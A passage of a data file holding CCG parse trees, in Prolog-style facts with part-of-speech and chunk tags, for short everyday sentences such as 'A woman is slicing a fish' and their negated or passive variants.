t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(522,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'singing', 'sing', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'musical', 'musical', 'JJ', 'I-NP', 'O'),
t(n, 'instrument', 'instrument', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(523,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Recruits', 'recruit', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'officer', 'officer', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(524,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
t(n, 'officer', 'officer', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'recruits', 'recruit', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(525,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Garlic', 'Garlic', 'NNP', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'chopped', 'chop', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(526,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:adj\np), 'chopping', 'chop', 'VBG', 'I-VP', 'O'),
t(s:adj\np, 'garlic', 'garlic', 'JJ', 'I-ADJP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(527,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'fish', 'fish', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(528,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'fish', 'fish', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(529,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(530,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'ridden', 'ride', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(531,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O'))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'opening', 'open', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'plastic', 'plastic', 'NN', 'I-NP', 'O'),
t(n, 'drawer', 'drawer', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'paws', 'paw', 'NNS', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'inside', 'inside', 'RB', 'I-ADVP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(532,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'opening', 'open', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'drawer', 'drawer', 'NN', 'I-NP', 'O'))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'inside', 'inside', 'RB', 'I-ADVP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(533,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'telephone', 'telephone', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(534,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'speaking', 'speak', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'telephone', 'telephone', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(535,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'onions', 'onion', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(536,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'onion', 'onion', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(537,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'opening', 'open', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'door', 'door', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(538,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'opening', 'open', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'door', 'door', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(539,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'door', 'door', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'opened', 'open', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(540,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'onion', 'onion', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(541,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'violin', 'violin', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(542,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'piano', 'piano', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(543,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'chef', 'chef', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'preparing', 'prepare', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'food', 'food', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(544,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'chef', 'chef', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'preparing', 'prepare', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'meal', 'meal', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(545,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'sumo', 'sumo', 'NN', 'I-NP', 'O'),
t(n, 'ringers', 'ringer', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'fighting', 'fight', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(546,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'sumo', 'sumo', 'NN', 'I-NP', 'O'),
t(n, 'wrestlers', 'wrestler', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'fighting', 'fight', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(547,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'sumo', 'sumo', 'NN', 'I-NP', 'O'),
t(n, 'ringers', 'ringer', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'fighting', 'fight', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(548,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'water', 'water', 'NN', 'I-NP', 'O'),
t(n, 'toy', 'toy', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(549,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'buttering', 'butter', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'piece', 'piece', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'bread', 'bread', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(550,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'buttering', 'butter', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'piece', 'piece', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'bread', 'bread', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(551,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'putting', 'put', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'pasta', 'pasta', 'NN', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dish', 'dish', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(552,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Pasta', 'Pasta', 'NNP', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'put', 'put', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dish', 'dish', 'NN', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(553,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'pulling', 'pull', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'sticky', 'sticky', 'JJ', 'I-NP', 'O'),
t(n, 'goo', 'goo', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'out', 'out', 'IN', 'I-PP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'B-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bowl', 'bowl', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(554,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'putting', 'put', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'pasta', 'pasta', 'NN', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dish', 'dish', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(555,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(556,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(557,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'played', 'play', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(558,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(559,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(560,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
